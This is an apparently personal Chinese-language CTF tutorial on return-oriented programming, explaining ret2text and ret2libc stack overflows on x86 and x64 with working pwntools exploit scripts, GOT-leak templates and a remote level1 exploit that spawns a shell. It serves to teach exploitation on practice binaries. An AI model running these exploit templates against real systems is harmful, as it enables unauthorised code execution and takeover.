# 一.ROP 编程介绍

​ 随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP (Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

​ 之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件:

1. 程序存在溢出,并且可以控制返回地址。

2. 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

3. 如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了。

# 二.ret2text

# 1. 原理

ret2text 即控制程序执行程序本身已有的的代码 (.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。

这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。

注: ret2text 即控制返回地址指向程序本身已有的的代码 (.text) 并执行

# 2.x64 和 x86 函数调用方式不同导致 ret2text 布栈不同

# 2.1 函数调用约定

_cdecl: c/c++ 默认方式,参数从右向左入栈,主调函数负责栈平衡。

_stdcall: Windows API 方式,参数从右向左入栈,被调函数负责栈平衡。

_fastcall: 快速调用方式。即将参数优先从寄存器传入(ecx 和 edx),剩下的参数从右向左入栈。由于栈位于内存区域,而寄存器位于 cpu 内,存取快于内存。

这里讲述默认的 gcc 调用约定_cdecl 的一些特点。

image-20231112225346779

x86

  • 使用栈传递参数
  • 使用 eax 存放返回值

x64

  • 前六个参数依次存放于 rdi,rsi,rdx,rcx,r8,r9 中
  • 多余的参数存放于栈中

# 3. 解法举例


# 3.1x86 题解方法

对于函数传参的函数,其栈格式为:

image-20231108110345769

故而我们需要利用溢出覆盖返回地址进入 func 函数内部,再将参数一指向 “/bin/sh” 的储存地址即可。其中要注意的是 r 处需要我们进行垃圾数据的填充。

现在利用 gdb 查找 func 函数地址和 sh 存放地址(具体偏移量由 ida 查看不再详细讲解)

注意这种 x86 是要进入 func 函数,然后把参数一覆盖成 bin/sh, 因此有三个参数,payload = padding*b'a' + p32 (ret_addr) + p32 (0) + p32 (sh_addr)

书写 payload:

行高亮
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
`

from pwn import *


context(log_level='debug',arch='i386',os='linux')


file = './ret2text_func2_x86'
io = process(file)
elf = ELF(file)
rop = ROP(file)


sh_addr = 0x804c018
ret_addr = elf.symbols['func']
padding = 0x14

payload = padding*b'a' + p32(ret_addr) + p32(0) + p32(sh_addr)

dem = b'inputs:'
io.sendlineafter(dem,payload)
io.interactive()
`

成功


# 3.2x64 解题方法

对 x64 的参数,大部分情况下,前六个参数储存在寄存器内,无法直接使用简单的栈溢出修改寄存器内容,这时候我们需要解除 ROPgadget 工具进行辅助。

ROP (Return Oriented Programming),即返回导向编程,通过栈溢出内容覆盖返回地址,使其跳转到可执行文件中已有的片段代码中执行我们选择的代码段。

知道了 ROP 工具的功能,我们需要做的是

  1. 修改 rdi 的值(可使用代码 pop rdi ; ret)
  2. 在栈中放入‘bin/sh’经由 pop 提交给 rdi
  3. 进入 func 函数内调用 system 函数

利用 gdb 查找 func 函数地址和 sh 存放地址(具体偏移量由 ida 查看不再详细讲解):

利用 ROPgadget 查找需要的代码行 --pop rdi ; ret

行高亮
1
ROPgadget --binary ret2text_func2_x64 --only 'pop|ret'

payload = padding*b'a' + p64 (pop_rdi_ret) + p64 (sh_addr)+ p64 (ret_addr) #64 位三步走原则

构造 payload:

行高亮
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
`
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
#context(arch='arm64',os='linux')

#打开路径
file = './ret2text_func2_x64'
io = process(file)
elf = ELF(file)
rop = ROP(file)

#调试
gdb.attach(io)
pause()

sh_addr = 0x404028
ret_addr = elf.symbols['func'] #这个可以自己找,也可以调用函数帮你找
pop_rdi_ret = 0x40121b #这个用gadget就行
padding = 0x10

payload = padding*b'a' + p64(pop_rdi_ret) + p64(sh_addr)+ p64(ret_addr) #64位三步走原则

dem = b'inputs:'
io.sendlineafter(dem,payload)
io.interactive()
`

运行成功 pwn 掉


# 3.3x86 举例

其实,在栈溢出的基本原理中,我们已经介绍了这一简单的攻击。在这里,我们再给出另外一个例子,bamboofox 中介绍 ROP 时使用的 ret2text 的例子。

首先,查看一下程序的保护机制

行高亮
1
2
3
4
5
6
➜  ret2text checksec ret2text
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

可以看出程序是 32 位程序,其仅仅开启了栈不可执行保护。然后,我们使用 IDA 来查看源代码。

行高亮
1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets((char *)&v4);
printf("Maybe I will tell you next time !");
return 0;
}

可以看出程序在主函数中使用了 gets 函数,显然存在栈溢出漏洞。此后又发现

行高亮
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
.text:080485FD secure          proc near
.text:080485FD
.text:080485FD input = dword ptr -10h
.text:080485FD secretcode = dword ptr -0Ch
.text:080485FD
.text:080485FD push ebp
.text:080485FE mov ebp, esp
.text:08048600 sub esp, 28h
.text:08048603 mov dword ptr [esp], 0 ; timer
.text:0804860A call _time
.text:0804860F mov [esp], eax ; seed
.text:08048612 call _srand
.text:08048617 call _rand
.text:0804861C mov [ebp+secretcode], eax
.text:0804861F lea eax, [ebp+input]
.text:08048622 mov [esp+4], eax
.text:08048626 mov dword ptr [esp], offset unk_8048760
.text:0804862D call ___isoc99_scanf
.text:08048632 mov eax, [ebp+input]
.text:08048635 cmp eax, [ebp+secretcode]
.text:08048638 jnz short locret_8048646
.text:0804863A mov dword ptr [esp], offset command ; "/bin/sh"
.text:08048641 call _system

在 secure 函数又发现了存在调用 system ("/bin/sh") 的代码,那么如果我们直接控制程序返回至 0x0804863A,那么就可以得到系统的 shell 了。

下面就是我们如何构造 payload 了,首先需要确定的是我们能够控制的内存的起始地址距离 main 函数的返回地址的字节数。

行高亮
1
2
3
.text:080486A7                 lea     eax, [esp+1Ch]
.text:080486AB mov [esp], eax ; s
.text:080486AE call _gets

可以看到该字符串是通过相对于 esp 的索引,所以我们需要进行调试,将断点下在 call 处,查看 esp,ebp,如下

行高亮
1
2
3
4
5
6
7
gef➤  b *0x080486AE
Breakpoint 1 at 0x80486ae: file ret2text.c, line 24.
gef➤ r
There is something amazing here, do you know anything?

Breakpoint 1, 0x080486ae in main () at ret2text.c:24
24 gets(buf);

────────────────────────────────────────────────────────────────

行高亮
1
2
3
4
5
6
7
8
9
10
──────[ registers ]────
$eax : 0xffffcd5c → 0x08048329 → "__libc_start_main"
$ebx : 0x00000000
$ecx : 0xffffffff
$edx : 0xf7faf870 → 0x00000000
$esp : 0xffffcd40 → 0xffffcd5c → 0x08048329 → "__libc_start_main"
$ebp : 0xffffcdc8 → 0x00000000
$esi : 0xf7fae000 → 0x001b1db0
$edi : 0xf7fae000 → 0x001b1db0
$eip : 0x080486ae → <main+102> call 0x8048460 <gets@plt>

可以看到 esp 为 0xffffcd40,ebp 为 0xffffcdc8,同时 s 相对于 esp 的索引为 esp+0x1c,因此,我们可以推断

s 的地址为 0xffffcd5c
s 相对于 ebp 的偏移为 0x6c
s 相对于返回地址的偏移为 0x6c+4
最后的 payload 如下:

这种 x86 直接就是主函数中有输入函数,具体题目中二者区别不大,有时都能打通

行高亮
1
2
3
4
5
6
7
##!/usr/bin/env python
from pwn import *

sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * (0x6c+4) + p32(target))
sh.interactive()


# 3.3x86 题解补充疑问(为什么加 p32 (0))- 栈对齐

对于本题的函数传参,我们的栈帧构造初步想法如图

ebp‘aaaa’
rreturn to func
参数一“/bin/sh”
  1. 输入适量垃圾填充 padding * b 'a'
  2. 覆盖返回地址指向 func 函数 p32 (ret_addr)
  3. 参数 "/bin/sh" 地址

则 payload = padding*b'a' + p32 (ret_addr) + p32 (sh_addr)

然而这样的脚本在攻击时会出错。原因在于:

正常的函数调用 call 来达到 push eip;jmp 的作用,经过初步 payload 构造的攻击如下图所示,是通过覆盖 return 达到 jmp 的作用的,并没有像 call 一样 push eip 到栈中。

image-20231112225516704

故而 ret 执行后,ebp 后为我们输入的参数而非 eip 原地址(函数结束后返回的地址),而函数读取参数的位置在上文中已经展示,为 ebp+0x8。故而在利用 ret2text 覆盖 pwn 题时候,需要自行加入一行栈帧的填充。

image-20231112225530054

# 三.ret2libc

# I. 灵魂五问

1. 没有写 system 就一定没有 system?
答:有 system, 在 libc 里面,别人写好的

2. 怎找到 libc 基地址 ?
答:使用输出 libc 其中的函数地址,从而计算基地址

3. 怎么输出 libc 其中的函数地址?
答:模仿程序如何找 libc 其中的函数地址的方式去寻找。

4. 怎把 GOT 表项内容打印出来。
答:利用输出函数泄露 got 表内容。

5. 怎么找到 system binsh 地址
答:利用偏移计算

常用会用到的指令:

行高亮
1
2
3
`readelf -a b|less  # 
ROPgadget --binary 文件名 --only "pop|ret" #找特定gadget#寄存器
ldd 文件名 #看动态链接

# II. 自己的理解

1. 我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点

​ system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集
​ 所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。

2. 那么如何得到 libc 中的某个函数的地址呢?

​ 我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。
我们自然可以根据上面的步骤先得到 libc,之后在程序中查询偏移,然后再次获取 system 地址,但这样手工操作次数太多,有点麻烦,这里给出一个 libc 的利用工具,具体细节请参考 readme
https://github.com/lieanu/LibcSearcher
此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。

这里我们泄露 libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下
1. 泄露 libc_start_main 地址
2. 获取 libc 版本
3. 获取 system 地址与 /bin/sh 的地址
4. 再次执行源程序
5. 触发栈溢出执行 system (‘/bin/sh’)**

# III. 解法举例

# 1)x64:

# 0. 调用约定

64 位系统中使用寄存器传递参数:rdi、rsi、rdx、rcx、r8、r9(1-6 个参数)
参考:http://abcdxyzk.github.io/blog/2012/11/23/assembly-args/
要构造 write (1,buf2,20),需要控制 3 个参数:rdi、rsi、rdx,
第 3 个参数代表输出的 size,如果没有 rdx 的 gadget 可以暂时不管,输出多少无所谓,
在下面我们构造 payload 的时候,我们不写第 3 个参数

# 0.1 举例

行高亮
1
2
3
4
5
6
7
8
9
10
11
当我们覆盖到rbp后回忆函数调用的流程,把rbp的下一个地址开始原来存的东西覆盖成我们想要的地址
第一次: 第二次回到main
----rbp(esp0-16)(ida->s):覆盖完 ----同理
----esp0-8(ida->r): "pop_rdi_rsi_rdxret" ----"pop_rdi_ret"
----esp0: "rdi" "1" ----"/bin/sh_addr"
----esp0+8: 'pop_rsi_r15_ret' ----"system_addr"
----esp+16:"leak_func_got" 这次布栈就像ret_text中的system函数一样来布

----esp+24:"r15" 8位可以是"deadbeef"
----esp+32:"泄露GOT真正地址的函数如write_sym"
----esp+40:'返回地址'

# 1.padding

首先我们需要确定 padding,在哪里溢出,把这个空填满,溢出到 rbp 完
----padding 和以前一样,看哪里 gets 或者 read 函数,这里其实就是 scanf
---- 可以通过 ida 或者动态调试得到
---- 参考以前的题目,像 buuctf 前几道 rip,level..

# 2. 第一次溢出,目标获得的 libc 某个函数的真实地址

# 2.1 第一次溢出

比如:以下是 write 函数为例

行高亮
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
leak_func_name ='write'  
leak_func_got = elf.got[leak_func_name] # leak_func_got泄露的got表 去ida上看write的地址
#got.plt:0000000000404018 48 unk_404018 db 48h ; H OFF64 EXTDEF [extern,404048]=404048 (write)
#leak_func_got = 404018
return_addr = elf.symbols['dofunc']
write_sym = elf.symbols['write']
pop_rdi_ret = 0x4011fb #用ROPgadget查的
pop_rsi_r15_ret = 0x4011f9#同上

payload = b'a'* padding + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(leak_func_got) + p64(0xdeadbeef)
# 产生溢出的字符串 pop_rdi_ret rdi存的值 pop_rsi_r15_ret leak_func_got泄露的got表 r15
# 第一个参数 第二个参数(rdx第三个参数没有先不管)
# 第一步 第2步rdi 【 第三步 plt表 】 第四步got表 第五步填deedbeef
payload = payload + p64(write_sym) + p64(return_addr)
# 第六步write偏移地址 第七步返回地址(进入第二次溢出的返回地址)
delimiter = 'input:'
io.sendlineafter(delimiter, payload)

# 2.2 收获这个函数的真实地址

行高亮
1
2
3
4
5
6
7
8
9
10
gets_addr=u64(p.recv()[:8]) #p.recv()[:8]: 这个部分是将从管道中接收到的数据的前 8 个字节切片出来。u64换成无符号整数

#puts_addr = u64(p.recv(6).ljust(8,b'\x00')) # 接收puts的真实地址
#p.recv(6): 从管道中接收 6 个字节的数据。.ljust(8, b'\x00'): 对接收到的 6 个字节数据进行填充,
#使其总长度为 8 字节,填充内容是 0x00 字节。以后可以不是6位

#puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\0')) #得到 puts 函数 的地址;
#p.recvuntil('\n'): 从管道中接收数据,直到遇到换行符 \n 为止。这个函数会将接收到的数据包括换行符在内全部返回。
#[:-1]: 使用切片操作,去掉接收到的数据中的最后一个字符,即换行符 \n。
#.ljust(8, '\0'): 将剩余的数据(不包括换行符)进行填充,使其总长度为 8 字节,填充内容是空字符 \0。

# 3. 第二次溢出构造 payload2

# 3.1 获得基地址

行高亮
1
2
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")#本地调试,可用ldd查
libc_base=gets_addr-libc.symbols["gets"] # 得到基地址

# 3.2 算 system 和 binsh 地址

行高亮
1
2
system_addr=libc_base+libc.symbols["system"]
bin_sh_addr=libc_base+next(libc.search(b'/bin/sh'))

行高亮
1
2
3
4
5
#远程版本
libc=LibcSearcher("puts",puts_addr) # 得到 libc的版本;
libc_base=puts_addr-libc.dump("puts") # 得到基地址
sys_addr=libc_base+libc.dump("system") # 利用偏移地址 得到 system函数的地址
binsh=libc_base+libc.dump("str_bin_sh") # 得到 bin/sh 的 地址

# 3.3 获取 shell

行高亮
1
2
3
4
5
6
7
payload2=offset*b"B"+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(system_addr) #64位三步走,和rettext一样
一般会接收到程序本身的字符串后,再发送payload

delimiter = 'input:'
io.sendlineafter(delimiter, payload2)
pause()
io.interactive()

# 2)x86: 最大区别是参数存放不用寄存器

# 0. 使用条件

ret2libc 的使用条件
泄漏 Libc 函数地址的条件:程序有输出函数,如 puts、printf、write;要输出函数的目的是要泄漏地址
实现:设置好输出函数的参数为某函数 GOT 表地址;GOT 表中保存已调用过的函数的真实地址

# 1. 核心

泄漏 ret2libc_32 任意一个函数的位置
获取 libc 的版本
根据偏移获取 shell 和 sh 的位置
执行程序获取 shell

# 2. 内存分布,举例

---esp
--- ...
--- buf
---ebp 栈帧
---write@plt 返回地址
---main @@@@@' 预留返回地址!!!!!!!!'@@@@
--- 1 write 函数参数一 (1)
---write_got 地址 write 函数参数二 (write_got 地址)
--- 4 write 函数参数三 (写 4 字节) 32 位
--- 高地址,栈底

image-20231112225545549

# 3. 第一次溢出,目标:找到一个函数地址

第一个以 write 为例子:

行高亮
1
2
3
4
5
6
7
write_plt=e.plt["write"]
write_got=e.got["write"]
main_addr=e.symbols["main"]
# char[88] ebp write函数参数一(1) write函数参数二(write_got地址)
payload=0x88*b'a'+ p32(0xdeadbeef) + p32(write_plt) + p32(main_addr) + p32(1)+p32(write_got)+p32(4)
# write函数返回地址 (返回到main函数) write函数参数三(写4字节)32位
# 0x88*b'a'+ p32(0xdeadbeef)其实是char和ebp分开的,可以合起来算

' 为什么加 1,加 4'
原因:write 函数本身有三个参数(1,'hello!',5)
函数说明:write () 会把参数 buf 所指的内存写入 count 个字节到参数 fd 所指的文件内。
返回值:如果顺利 write () 会返回实际写入的字节数(len)。当有错误发生时则返回 - 1,错误代码存入 errno 中。
//write(int fd, const void *buf, size_t count);
第一个参数 文件描述符 fd 1 输出,0 输入
第二个参数 无类型的指针 buf,可以存放要写的内容
第三个参数 写多少字节数 4 字节

下面再举一个:我们决定用泄露__libc_strart_main 的地址,来判定 libc 的版本

行高亮
1
2
3
4
5
6
7
8
#泄露地址
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']
print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])#调用puts函数后,ret到main函数,用main函数里面的gets来获取libc_start的地址
sh.sendlineafter('Can you find it !?', payload)
gets_addr = u32(p.recv())

# 4. 第二次溢出,目标:直接获得 shell,像 rettext 一样

# 4.1 获得基地址

行高亮
1
2
libc = ELF("/lib32/libc.so.6") #获得libc版本号
libc_base = gets_addr - libc.symbols["gets"]

# 4.2system 和 binsh 地址

行高亮
1
2
system_addr = libc_base + libc.symbols["system"]
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

# 4.3 结束

行高亮
1
2
3
payload2 = padding*b"A" + p32(system_addr) + p32(0) + p32(bin_sh_addr) #32位两步走
p.sendline(payload2)
p.interactive()

# 4.4 补充

大佬 1 号心得
ROP 中对 retlibc 技术的一些学习心得
漏洞利用思路:

1. 找到泄露库函数地址的漏洞,获取 libc 版本(因为一般不会给你 libc.so 文件)
查询 libc 版本一般有三种方法:

1.libcsearcher 库。在编写 exp 的时候用 from LibcSearcher import LibcSearcher 导入
通过 libc.dump ('system') 可以得到 system 函数的偏移,libc.dump ('str_bin_sh') 得到 binsh 字符串的偏移

2.pwntools 自带的 Dynelf,需要先构造一个 leak 函数和一个可以不断触发溢出的漏洞

一个模板:

行高亮
1
2
3
4
5
6
7
8
9
10
def leak(address):
#各种预处理
payload = "xxxxxxxx" + address + "xxxxxxxx"
p.send(payload)
#各种处理
data = p.recv(4)
log.debug("%#x => %s" % (address, (data or '').encode('hex')))
return data
d = DynELF(leak, elf=ELF("./xxx")) #初始化DynELF模块
systemAddress = d.lookup('system', 'libc') #在libc文件中搜索system函数的地址

3. 在线查询网站,通过函数的后三位数值查询。https://libc.blukat.me

典型的题目–adworld 里的 level1(非常典型的 retlibc)
源码:

行高亮
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

printf("What's this:%p?\n", &buf);
return read(0, &buf, 0x100u); //溢出点

}

exp:

from pwn import *

from LibcSearcher import LibcSearcher

context.log_level='debug'

#sh = process('./level1')
sh=remote('111.198.29.45',42536)

writeplt= 0x08048370
readgot=0x0804A00C
vuln=0x0804847B



payload = 'a'*0x8c+p32(writeplt)+p32(vuln)+p32(1)+p32(readgot)+p32(4)

#gdb.attach(sh)
sh.sendline(payload)

readaddr=u32(sh.recv(4))
print(hex(readaddr))
libc = LibcSearcher('read', readaddr)
libcbase = readaddr - libc.dump('read')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
payload='a'*0x8c+p32(system_addr)+'a'*4+p32(binsh_addr)
sh.sendline(payload)

sh.interactive()

sh.close()

笔记:
context.log_level='debug’开启调试模式;
大佬原文链接:https://blog.csdn.net/qq_41706924/article/details/89607683

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

4riH04X 微信支付

微信支付